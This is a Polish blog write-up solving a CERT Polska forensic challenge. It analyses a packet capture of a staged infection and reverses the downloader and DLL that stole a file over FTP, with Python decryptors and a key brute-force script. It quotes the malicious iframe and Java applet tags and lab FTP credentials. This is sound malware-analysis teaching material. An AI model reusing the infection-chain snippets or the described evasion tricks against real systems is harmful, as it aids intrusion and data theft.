ECSM Hackme od CERT’u – rozwiązanie

Tak jak obiecałem wrzucam opis mojego rozwiązania ostatniego hackme CERT’u. Mój writeup dostępny jest w formacie PDF pod linkiem [1], dlatego postaram się nie rozwodzić. Skonfrontuję jednak tutaj swoje rozwiązanie ze sposobem opisanym na stronie CERT’u [2]. Zaczynamy.

P.S.1: Zadanie i potrzebne pliki są cały czas dostepne na stronie CERT’u [2] dlatego jeśli ktoś chciałby zabawić się zanim przeczyta rozwiązanie to śmiało 😉

P.S.2: Pamiętajcie, żeby (z wiadomych przyczyn) pliki analizować w wyizolowanym środowisku.

1. Na pierwszy rzut wykorzystałem darmową wersję programu NetworkMiner dzięki, któremu łatwiej niż w wiresharku mogłem, m.in.:

  • sprawdzić listę plików jakie brały udział w ruchu sieciowym,
  • przeanalizować listę hostów,
  • uzyskać dane uwierzytelniające (np. z połączeń ftp),
  • etc.

ecsm1

W zakładce Files posortowałem sobie wyniki po różnych kolumnach, np.:

  • porcie,
  • IP źródłowym,
  • detalach,
  • rozmiarze
  • i czasie.

Starałem się tutaj uzyskać „interesujące” połączenia i odrzucić szum, tzn. normalny ruch internetowy. I tak po krótkiej analizie na tablicy wylądowało kilka hostów:

  1. 168.56.1 (powiązane domeny: gogle.test, micrsoft.test i adbe.test)
  2. 168.56.101 (ze scenariusza wiemy, że to adres Tomka)
  3. 168.56.200:8080

Nazwijmy je po kolei:

  1. MalwrSrv
  2. TomekHst
  3. AttackerHst

Wspomagając się zakładką DNS doszedłem do wniosku, że reszta hostów wydaje się być „czysta”. Ze scenariusza zadania wynika, że dane zostały wykradzione po FTP, a jedyne połączenie FTP jakie zostało odnotowane odbyło się między hostami TomekHst i MalwrSrv. Plik jaki brał udział w transmisji to nothing_to_see_here.txt – autorzy wskazali, że nie chodzi w rozwiązaniu o ten plik (nie bezpośrednio). Szybkie rzucenie okiem na plik:

ecsm2

Ok, a więc mamy binarkę/plik zaszyfrowany – to już coś ;).

Analiza czasowa pokazała, że pierwsze połączenie z podejrzanymi hostami nastąpiło między 14:16:39 a 14:16:54 i było to połączenie http do hosta AttackerHst na porcie 8080. Tam został pobrany plik Exploit.jar.

Z racji tego, że wykorzystywana wersja NetworkMinera nie posiada stosownych filtrów, które można by wykorzystać do pracy, w tym momencie przeniosłem się do wiresharka.

2. W wiresharku pierwsze co nałożyłem display filter:

ip.src == 192.168.56.0/24 && ip.dst == 192.168.56.0/24 and not dns

I dzięki temu bez problemów mogłem ustalić scenariusz infekcji:

  • Odwiedzenie przez Tomka strony test/search?q=male+koty (nie wnikam 😉
  • Pod tym adresem (leżącym na serwerze MalwrSrv znajduje się stronka html zawierająca ramkę iframe odnoszącą się do hosta AttackerHst.
<iframe src="http://192.168.56.200:8080/kitten"/>
  • Iframe wskazuje na stronę, na której znajduje się złośliwy aplet java:
<aplet archive="Exploit.jar" code="Exploit.class" width="1" height="1"></aplet>

Wygląda na to, że mamy do czynienie z techniką ataku typu Self Signed Java Applet Exploit.

  • Po wykonaniu się apletu następuje kolejna faza ataku. Zainfekowany już komputer Tomka pobiera w tle plik flv z serwera adbe.test (ponownie MalwrSrv).
  • Następnie pobierany jest kolejny plik – windowsupdate z serwera test (również server MalwrSrv).
  • Na sam koniec ustanawiane jest połączenie FTP między komputerem Tomka a znanym już serwerem MalwrSrv (tym razem host ftp.crt.test)

login: agent.btz
password: password123

  • Krzyk i łzy.

3. Pora na analizę softu za pomocą, którego doszło do infekcji. Na pierwszy ogień poszedł jar. Po rozpakowaniu jara i przejechaniu go na szybko stringsami (btw. spójrzcie na ostatni wpis lcamtufa [3]) i hexdump’em rzuciłem hipotezę, że jest to zwykły downloader wygenerowany z wykorzystaniem metasploita, na którym nie warto się dłużej zastanawiać.

Aha dodam jeszcze, że wszystkie pliki jakie można wyciągnąć z pcap’a ładnie zestawił nam NetworkMiner w pod-katalogu aplikacji – AssembledFiles. W sumie Exploit.jar był podzielony na kilka octet-streamów, więc złączyłem je zwykłym cat’em:

cat Exploit.jar.octet-stream > Exploit.jar
cat Exploit.jar\[1\].octet-stream >> Exploit.jar
cat Exploit.jar\[2\].octet-stream >> Exploit.jar

Rozpakowanie Exploit.jar:

jar -xf Exploit.jar

Rzut okiem na rozpakowane pliki:

ecsm3

Plikiem, który był pobierany przez rzeczonego downloadera był plik flash.flv i to on okazał się ciekawszy do analizy:

ecsm4

Jak widać plik był spakowany upx.

To teraz teleport do mojego WinBoxa…

4. Załadowałem pliczek do Ida Pro Free. W zakładce Strings pierwsze co przykuło moją uwagę to kilka zdefiniowanych łańcuchów:

ecsm4.1

Tomek brzmi znajomo. URLMON.DLL – bibiloteka dzięki, której można np. pobrać plik z sieci (brzmi sensownie w świetle poznanego wcześniej scenariusza infekcji). String „SNDQS…” wygląda dosyć interesująco choć – tajemniczo!

Kolejnym krokiem było wyświetlenie drzewka wywołań funkcji (Ctrl+F12 w IdaPro). Na nim odszukałem odwołań do interesujących funkcji jak np. fopen, fwrite, funkcje z biblioteki URLMON, itp. Okazało się, że dwie funkcje odwołują się do funkcji fwrite: sub_401E60 i sub_401721. Ta druga z racji odwołań do wielu innych ciekawych funkcji wydała się ciekawsza dlatego od razu nazwałem ją sobie BardzoCiekawa i zabrałem się do jej analizy.

P.S.: Nie ma nic na temat funkcji odpowiedzialnych za połączenia FTP… a więc przede mną jeszcze długa droga.

ecsm55. Analiza BardzoCiekawej funkcji.

Skomentuję teraz trochę kodu:

ecsm6

  1. Załadowanie jakiegoś ciągu znaków na stos. Przegląd rzutu pamięci w OllyDbg pozwala nam rozumieć nieco więcej:
  2. ecsm7Następnie wywołanie funkcji sub_4016B0. Ponownie wróćmy do OllyDbg (F8 – klik).
    ecsm8

Po przekształceniach otrzymaliśmy string: „\nukes.dll:crucial.dll” – brzmi bardziej ludzko, a więc funkcja sub_4016B0 to jakaś funkcja deszyfrująca stringi – OK. Lecimy dalej.

  1. Załadowanie dynamicznej bilioteki URLMON.DLL.
  2. Ponowne załadowanie jakiegoś stringa na stos.
  3. Zaraz po tym następuje ponowne wywołanie funkcji deszyfrującej, która doprowadza podejrzany ciąg znaków do „URLDownloadToFileA”, a więc będzie coś pobierane – chyba nawet wiemy co (windowsupdate?).
  4. Znany już interesujący (acz tajemniczy 🙂 łańcuch znaków. W dalszej części program deszyfruje go do następującej postaci:

„Software\Microsoft\Windows\CurrentVersion\App Paths\MilCAD.exe” – klucz rejestru.

Podążając dalej, co mniej/więcej robi program flash.flv?

  1. Kolejnym warunkiem dalszego wykonania programu jest nazwa użytkownika systemu, która musi być równa wartości zdefiniowanej zmiennej – „Tomek”. Tutaj nadpisywałem sobie wartość zwracaną przez funkcję strcmp porównującą nazwę aktualnego użytkownika z łańcuchem „Tomek”.
  2. Sprawdza wartość wspomnianego wyżej klucza w HKEY_LOCAL_MACHINE i jest to warunek dalszego wykonania programu. Początkowo nadpisywałem wartość zwracaną przez funkcję RegQueryValueExA, ale później z nudów po prostu utworzyłem sobie taki klucz w rejestrze.
  3. Mój kolejny breakpoint był ustawiony na adres 0x004019DD. W tym miejscu była porównywana aktualna z datą zakodowaną na sztywno w programie (2014-10-08). Pierwsze dwa warunki przechodziły bez problemu, ale kolejny znajdujący się pod w/w adresem musiałem nieco zmanipulować:
    ecsm9
  4. Następnie zatrzymywałem się na chwilkę na wywołaniu funkcji Sleep i edytowałem argument przekazywany do niej, tak żeby nie czekać za każdym razem ponad minuty w uśpieniu.
    ecsm10
  5. Następnie mieliśmy kolejne umieszczenie jakiegoś łańcucha znaków na stos. Po deszyfracji okazywał się nim adres „micrsoft.test/windowsupdate”, który był następnie wykorzystany przy wywołaniu załadowanej wcześniej biblioteki URLMON.dll i z deszyfrowanej funkcji Co ciekawe program próbował zapisać pobierane dane do pliku o nazwie:

wartość_klucza_odczytanego_z_rejestru\nukes.dll:temp.dll

U mnie wyglądało to tak:

ecsm11

Dzięki opisowi na stronie CERT’u już wiem, że było to wykorzystanie funkcjonalności strumieni danych systemu plików NTFS (więcej info [4] i [5]).

W tym miejscu można było prace znacznie zautomatyzować podstawiając odpowiedni plik do deszyfrowaniu. Niestety, po pierwsze nie wiedziałem za bardzo jak działają strumienie danych, po drugie nie udało mi się spowodować pobrania pliku z mojego serwera, który był widoczny przez WinBox’A jako micrsoft.test. Także musiałem to wszystko wykonać „na piechotę”.

Wracając na chwilę do IdaPro. Jeszcze na początku analizy funkcji BardzoCiekawej moją uwagę przykuła następująca pętla:

ecsm12

Tutaj się coś XOR’uje… a więc istnieje duże prawdopodobieństwo, że coś się szyfruje/deszyfruje.

Pętla jest uruchamiana po pobraniu pliku windowsupdate, następnie ten plik jest otwierany w trybie „rb” (binarny odczyt) i odczytane dane są przetwarzane bajt po bajcie w tej pętli.

Działa ona następująco:

  • Odczytywany jest iterator pętli i o jego wartość przesuwany jest wskaźnik wskazujący na początek odczytanych z użyciem funkcji fread
LEA EDX, DWORD PTR SS:[EBP-344]

MOV EAX, DWORD PTR SS:[EBP-20]

ADD EAX, EDX
  • N-ty bajt odczytanych danych ładowany jest do rejestru EAX.
MOVZX EAX, BYTE PTR DS:[EAX]
  • Nastepuje XOR’owanie najmłodszych 8-bitów rejestru EAX z wartością znajdującą się w pamięci pod adresem EBP-0x19.
XOR AL, BYTE PTR SS:[EBP-19]
  • Kolejno powtarzany jest proces z pkt. I w celu ustawienia wskaźnika i wynik XOR’owania jest zapisywana w pamięci w miejsce aktualnego bajta.
MOV BYTE PTR DS:[EDX], AL
  • Teraz następuje wyliczenie kolejnej wartości klucza. Aktualna wartość pobierana jest do rejestru EAX. Zostaje ona wymnożona przez wartość 0x4B. Na koniec do wyniku iloczynu dodawane jest 0x2. Całość zapisana jest na swoje miejsce w pamięci i będzie wykorzystana w kolejnym etapie deszyfracji.
MOVZX EAX, BYTE PTR SS:[EBP-19]

MOV EDX, 4B

IMUL EAX, EDX

ADD EAX, 2

MOV BYTE PTR SS:[EBP-19], AL
  • Incrementacja wartości iteratora i sprawdzenie czy osiągnięto koniec łańcucha.

Mając takie info i uwzględniając to, że program nie chce mi automatycznie  pobrać i z deszyfrować pliku windowsupdate musiałem zrobić to ręcznie. Napisałem na szybko funkcję w pythonie, która miała mnie wspomóc:

def deszyfrator_windowsupdate(txt, key):
    xor = ""
    output = ""
    for t in txt:
        el = chr((ord(t)^key) & 0x00ff) # XOR + zapisanie najmłodszych 8-bitów.
        output += el
        # wyliczenie kolejnej wartości klucza
        key *= 0x4b
        key += 0x2
        key &= 0x00ff
    return output

Funkcja przyjmuje dwie wartości: txt – dane odczytane z pliku i key – klucz początkowy. Ponownie naginając lekko warunki sprawdzane przez program doprowadziłem do wskoczenia do pętli deszyfrującej i dzięki temu odczytałem wartość klucza początkowego, która wynosiła 0x11.

Po takim zabiegu i zapisaniu danych do pliku windowsupdate.dll otrzymałem całkiem sensowny pliczek:

ecsm13

Jak widać pliczek był dodatkowo spakowany upx’em.

  • Dochodzimy do momentu, w którym program po deszyfracji pobranego pliku i zapisania go do:

wartość_klucza_odczytanego_z_rejestru\nukes.dll:crucial.dll

próbuję załadować go jako kolejną dynamiczną bibliotekę:

ecsm14

Niestety u mnie takiego pliku nie ma, więc pora na kolejny patch na gorąco 😉

ecsm15

Notka: Odznaczyłem Keep size żeby można było edytować więcej niż jeden bajt (pamiętać o \x00 na końcu!).

Dzięki temu nakłoniłem program do uruchomienia ręcznie z deszyfrowanej i skopiowanej biblioteki.

6. Pora na analizę naszej biblioteki.

Zakładka Strings tym razem nie ujawnia nam nic ciekawego, ale za to w zakładce Functions widzimy kilka na pierwszy rzut oka interesująco nazywających się funkcji, m.in.: secret, interesting, get_file, start, FtpPutFileA (już prawie w domu!), fclose, fwrite, etc. Ponownie odpalam drzewo wywołań funkcji:

ecsm16

Tym razem skupiam się na funkcji secret, która wywołuje trzy inne funkcje. Jedna z nich (sub_66A413E7) wywołuję masę innych ciekawych funkcji w związku z tym nazywam ją SubSecretNajciekawsza i zabieram się do analizy.

Notka: W między czasie sprawdziłem kilka innych funkcji np. interesting…. umieszczała ona po prostu na stosie następujący ciąg znaków:

‚htoN gnis oth ee,erevom no e…’ co po łatwym przekształceniu (odwracanie kolejności znaków w 4-znakowych substringach) wygląda następująco ‚Nothing to see here, move on…’. Nothing to nothing, więc wracamy do SubSecretNajciekawszej J.

Nasza funkcja na początku operuje trochę na jakiś stringach, sprawdza ścieżkę jakiegoś folderu, otwiera pliki, itp.. Moją uwagę przykuwa jednak pewna pętla, która uruchamiana jest nieco później:

ecsm17

Wygląda znajomo! Jest to pętla podobna do tej z pliku flash.flv. Zmieniły się jedynie wartości przekształcające klucz. Jako, że do powściągliwych nie należę postanowiłem od razu wypróbować to na naszym pliku z początku historii: nothing_to_see_here.txt. Tylko STOP! – nie mamy klucza początkowego. Ile mamy możliwości? ok 255 😉 – bruteforce!

def deszyfrator_ntsh(txt, key):
	xor = ""
	output = ""

	for t in txt:
		el = chr((ord(t)^key) & 0x00ff)
		output += el
		key *= 0x3b
		key += 0x5
		key &= 0x00ff
	return output
	
nothing = read_file('nothing_to_see_here.txt')
words = ['doc', 'xls', 'txt', 'exe', 'dll', 'pdf']
	for i in range(0,255):
		print "[*]", i
		result = deszyfrator_ntsh(nothing, i)
		for w in words:
			if w in words:
				if w in result:
					print "[*] MAM!"
					print hex(i), " : ", w
		print "[*]", i, " : ", result[:30]

Spodziewałem się, że plik będzie jakąś bardziej rozbudowaną strukturą, gdzie będą również zapisane nazwy wykradzionych plików, więc postanowiłem bazować na tym i wyszukiwać w odszyfrowanych wartościach znanych rozszerzeń plików, jednak nie udało się. Przejrzałem więc na szybko wyniki bruteforce’a i ku mojej uciesze zauważyłem napis Congratulations! przy kluczu początkowym o wartości 34.

ecsm18

Deszyfrując cały plik:

f = open('challenge.finish', 'w')

f.write(deszyfrator_ntsh (nothing, 34))

f.close()

ecsm19

ecsm20

I na tym można by skończyć, ale autorzy (cwane!) zażyczyli sobie jeszcze nazwę skradzionego pliku… Wróciłem więc do debugowania programu.

7. Po załadowaniu biblioteki program flash.flv przechodzi do funkcji secret. Tam najpierw wywołuje funkcję Sleep, a więc uwaga żeby nie wtopić się na 98765 ms. Dalej następuje wywołanie SubSecretNajciekawsza, a w niej na pierwszy ogień idzie funkcja SHGetFolderPathA, która odczytuje ścieżkę do Dokumentów użytkownika:ecsm21

Następnie na stosie umieszczany jest jakiś łańcuch znaków i wywoływana jest funkcja sub_66A41280, która okazuje się odpowiednikiem deszyfratora stringów znanego z flash.flv. Funkcja zwraca w wyniku następujący łańcuch znaków:

ecsm22

Ha! Mamy nazwę pliku.

Dla pewności analizuję dalszą część programu, który otwiera w/w plik. Szyfruje go z wykorzystaniem bruteforcowanej wcześniej pętli i wysyła go na serwer FTP z wykorzystaniem znanych nam ze zrzutu pcap danych.

KONIEC

Thx!

Linkowania:

  1. http://www.cert.pl/ecsm_hackme_writeup.pdf
  2. http://www.cert.pl/news/9169
  3. http://lcamtuf.blogspot.com/2014/10/psa-dont-run-strings-on-untrusted-files.html
  4. http://www.securitum.pl/baza-wiedzy/publikacje/alternate-data-streams-ads
  5. http://www.nirsoft.net/utils/alternate_data_streams.html
Reklamy
Otagowane , , , , ,

2 thoughts on “ECSM Hackme od CERT’u – rozwiązanie

  1. ukasz pisze:

    Gratulacje rozwiazania, jak zapewne juz wiesz bruteforce klucza nie byl konieczny, wystarczylo przedebugowac a klucz lezal na stosie. Bylbym wdzieczny gdybys podrzucil mi jakis kontakt do siebie.

Skomentuj

Wprowadź swoje dane lub kliknij jedną z tych ikon, aby się zalogować:

Logo WordPress.com

Komentujesz korzystając z konta WordPress.com. Wyloguj / Zmień )

Zdjęcie z Twittera

Komentujesz korzystając z konta Twitter. Wyloguj / Zmień )

Zdjęcie na Facebooku

Komentujesz korzystając z konta Facebook. Wyloguj / Zmień )

Zdjęcie na Google+

Komentujesz korzystając z konta Google+. Wyloguj / Zmień )

Connecting to %s

%d blogerów lubi to: